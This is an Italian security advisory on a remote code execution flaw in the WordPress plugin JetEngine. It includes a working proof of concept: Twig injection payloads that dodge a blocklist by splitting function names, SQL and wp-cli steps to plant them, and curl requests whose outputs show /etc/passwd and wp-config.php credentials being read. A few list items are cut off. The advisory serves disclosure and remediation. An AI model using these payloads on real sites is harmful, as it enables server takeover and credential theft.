
JetEngine <= 3.7.2 - Esecuzione di codice in remoto autenticata (Contributor+)
Data: 11 marzo 2026 Punteggio CVSS: 8.8 (Alto) Vettore CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Plugin Interessato: JetEngine <= 3.7.2 Plugin Slug: jet-engine CVE: CVE-2026-28134 Stato: Privata Versione di WordPress Testata: Ultima
CVE-2026-28134 è una vulnerabilità di Esecuzione remota di codice nel plugin WordPress JetEngine che interessa tutte le versioni fino alla 3.7.2 inclusa. La vulnerabilità consente ad attaccanti autenticati con accesso di livello Contributor o superiore di eseguire comandi arbitrari del sistema operativo sul server iniettando un template Twig malevolo in un post Listing di JetEngine.
La catena di attacco combina tre debolezze:
~ di Twig per dividere i nomi di funzione bloccati tra più token.✅ VULNERABILITÀ CONFERMATA — RCE Completa Raggiunta
Impatto confermato:
www-data/etc/passwd, wp-config.php)JetEngine fornisce un tipo di vista Listing basato su Twig/Timber. Quando il componente timber_views è abilitato, i post Listing con _listing_type = twig hanno il loro meta del post _jet_engine_listing_html renderizzato come template Twig live tramite Timber. La pipeline di rendering è raggiungibile tramite l'azione AJAX non autenticata wp_ajax_nopriv_jet_engine_ajax; è sufficiente che l'attaccante possa creare o modificare un post Listing di JetEngine (ruolo minimo: Contributor).
ajax-handlers.php registra l'azione AJAX sia per utenti autenticati che non autenticati:
// ajax-handlers.php:29
add_action( 'wp_ajax_jet_engine_ajax', array( $this, 'handle_ajax' ) );
add_action( 'wp_ajax_nopriv_jet_engine_ajax', array( $this, 'handle_ajax' ) );
L'handler effettua il dispatch verso qualsiasi metodo pubblico della classe in base a $_REQUEST['handler'] senza controllo di nonce o capacità:
// ajax-handlers.php:96-104
public function handle_ajax() {
if ( ! isset( $_REQUEST['handler'] ) || ! is_callable( array( $this, $_REQUEST['handler'] ) ) ) {
return;
}
if ( ! empty( $_REQUEST['page_settings'] ) ) {
foreach ( $_REQUEST['page_settings'] as $key => $value ) {
$_REQUEST[ $key ] = $value;
}
}
call_user_func( array( $this, $_REQUEST['handler'] ) );
}
Chiamare listing_load_more è accessibile pubblicamente e attiva la pipeline di rendering dei Listing.
La catena di chiamate listing_load_more → get_listing → frontend->get_listing_item raggiunge:
// frontend.php:302
$content = apply_filters( 'jet-engine/listing/content/' . $listing_view, null, $listing_id );
Quando $listing_view = 'twig', viene attivato Jet_Engine\Timber_Views\Render::get_listing_content(), che legge il template Twig dal campo meta _jet_engine_listing_html del post e lo passa direttamente a render_html():
// timber.php:150
$template = $twig->createTemplate(
$this->sanitize_html(
do_shortcode( $this->sanitize_twig_content( $html ) )
)
);
return $template->render( $context );
Twig esegue il rendering senza sandbox. L'unica protezione è sanitize_twig_content().
sanitize_twig_content() rimuove i nomi di funzioni PHP pericolosi utilizzando pattern regex di confine parola e poi verifica se il template è stato modificato:
// timber.php:256-262
$dangerous_funcs = [
'passthru', 'exec', 'eval', 'system', 'shell_exec', 'proc_open', 'popen',
'assert', 'file_put_contents', 'file_get_contents', 'unlink', 'fopen', 'fwrite'
];
foreach ( $dangerous_funcs as $func ) {
$input = preg_replace( '/\b' . preg_quote( $func, '/' ) . '\b/i', '', $input );
}
Il pattern \bsystem\b corrisponde al token letterale system. Non corrisponde a "sys" ~ "tem" perché si tratta di due token stringa quotati separati. Twig valuta la concatenazione al momento del rendering, producendo "system" solo in memoria — il template sorgente non contiene mai la parola bloccata.
Payload di bypass:
{{ fn("sys" ~ "tem", "id") }}
Il sanitizer vede fn, "sys", ~, "tem", "id" — nessuno di questi è nella blocklist. Passa invariato.
fn() di TimberTimber registra i wrapper PHP richiamabili direttamente nell'ambiente Twig:
// timber-library/lib/Twig.php:42-43
$twig->addFunction( new Twig_Function( 'function', array( &$this, 'exec_function' ) ) );
$twig->addFunction( new Twig_Function( 'fn', array( &$this, 'exec_function' ) ) );
// timber-library/lib/Twig.php:290-297
public function exec_function( $function_name ) {
$args = func_get_args();
array_shift( $args );
if ( is_string( $function_name ) ) {
$function_name = trim( $function_name );
}
return call_user_func_array( $function_name, ( $args ) );
}
{{ fn("sys" ~ "tem", "id") }} si risolve in call_user_func_array("system", ["id"]) — esecuzione di comandi arbitrari del sistema operativo.
timber_views di JetEngine è abilitato (Impostazioni JetEngine > Performance > Timber/Twig Views).Creare un post Listing di JetEngine con il template Twig malevolo salvato nel meta del post:
-- Set listing type to twig
UPDATE wp_postmeta SET meta_value = 'twig'
WHERE post_id = <LISTING_ID> AND meta_key = '_listing_type';
-- Inject SSTI payload (sanitizer bypass via ~ concatenation)
UPDATE wp_postmeta SET meta_value = '{{ fn("sys" ~ "tem", "id") }}'
WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_html';
-- Set listing source
UPDATE wp_postmeta SET meta_value = '{"listing_source":"posts","post_type":"post"}'
WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_data';
Oppure tramite wp-cli (come utente Contributor):
wp post meta update <LISTING_ID> _listing_type twig
wp post meta update <LISTING_ID> _jet_engine_listing_html '{{ fn("sys" ~ "tem", "id") }}'
curl -s -X POST 'http://TARGET/wp-admin/admin-ajax.php' \
-d 'action=jet_engine_ajax' \
-d 'handler=listing_load_more' \
-d 'widget_settings[lisitng_id]=<LISTING_ID>' \
-d 'widget_settings[columns]=1' \
-d 'query[post_type]=post' \
-d 'query[posts_per_page]=1' \
-d 'query[paged]=1' \
-d 'page_settings[page_id]=1'
{
"success": true,
"data": {
"html": "<div class=\"jet-listing-grid__item jet-listing-dynamic-post-6\" data-post-id=\"6\">uid=33(www-data) gid=33(www-data) groups=33(www-data)\n</div>"
}
}
Stringa bloccata passthru suddivisa come "pas" ~ "sthru":
curl -s -X POST 'http://TARGET/wp-admin/admin-ajax.php' \
-d 'action=jet_engine_ajax' \
-d 'handler=listing_load_more' \
-d 'widget_settings[lisitng_id]=<LISTING_ID>' \
-d 'widget_settings[columns]=1' \
-d 'query[post_type]=post' \
-d 'query[posts_per_page]=1' \
-d 'query[paged]=1' \
-d 'page_settings[page_id]=1'
Template impostato su {{ fn("pas" ~ "sthru", "cat /etc/passwd") }}:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
Template {{ fn("pas" ~ "sthru", "grep DB_ /var/www/html/wp-config.php") }}:
define( 'DB_USER', getenv_docker('WORDPRESS_DB_USER', ...) );
define( 'DB_PASSWORD', getenv_docker('WORDPRESS_DB_PASSWORD', ...) );
define( 'DB_HOST', getenv_docker('WORDPRESS_DB_HOST', ...) );
wp_ajax_nopriv_jet_engine_ajax viene attivato per richieste non autenticate. Il dispatcher handle_ajax() non esegue alcuna verifica del nonce né controllo delle capacità prima di invocare listing_load_more. La pipeline di rendering è quindi raggiungibile da qualsiasi utente non autenticato, una volta che esiste un listing malevolo.
L'estensione ufficiale sandbox di Twig (\Twig\Sandbox\SecurityPolicy) impone allowlist a livello di engine — è impossibile chiamare funzioni non esplicitamente consentite. JetEngine utilizza createTemplate() senza sandbox. L'unica protezione è una scansione delle stringhe prima del rendering, facilmente aggirabile.
L'approccio basato su blocklist (/\bsystem\b/i) opera sul testo sorgente statico del template. L'operatore di concatenazione ~ di Twig costruisce stringhe a runtime. Qualsiasi nome bloccato può essere suddiviso: "pass" ~ "thru", "she" ~ "ll_exec", "sys" ~ "tem", ecc. Una sandbox adeguata rifiuterebbe la chiamata indipendentemente da come è stato costruito il nome della funzione.
call_user_func_arrayGli helper Twig fn() e function() di Timber sono ponti incondizionati verso call_user_func_array di PHP. Non esiste un'allowlist di funzioni chiamabili. Qualsiasi funzione PHP raggiungibile dal processo web può essere invocata.
| Data | Evento |
|---|---|
| 2026-03-11 | Vulnerabilità scoperta e confermata con PoC di RCE completo |
| 2026-03-11 | Report redatto |
| File | Problema |
|---|
includes/components/listings/ajax-handlers.php:29 | wp_ajax_nopriv_jet_engine_ajax registrata — nessuna autenticazione o nonce |
includes/components/listings/ajax-handlers.php:104 | call_user_func(array($this, $_REQUEST['handler'])) — dispatch arbitrario di metodi pubblici |
includes/components/timber-views/timber.php:150 | render_html() esegue il rendering di un template Twig controllato dall'attaccante senza sandbox |
includes/components/timber-views/timber.php:189 | sanitize_twig_content() — blocklist regex di stringhe, bypassata tramite suddivisione dei token |
timber-library/lib/Twig.php:42-43 | Timber registra fn()/function() come wrapper Twig per call_user_func_array |
| Correttivo | Descrizione |
|---|
Aggiungere controllo nonce + capacità a handle_ajax() | Richiedere la capacità edit_posts e un nonce valido per ogni dispatch AJAX |
| Abilitare la sandbox Twig | Sostituire la blocklist di stringhe con \Twig\Sandbox\SecurityPolicy — consentire esplicitamente funzioni e proprietà sicure |
Limitare l'helper fn() di Timber | Consentire tramite allowlist i nomi di funzioni chiamabili oppure rimuovere fn()/function() dall'ambiente Twig per template non affidabili |
| Validare la proprietà del listing | Confermare che l'utente richiedente abbia la capacità edit_post sul listing prima di eseguire il rendering del suo template |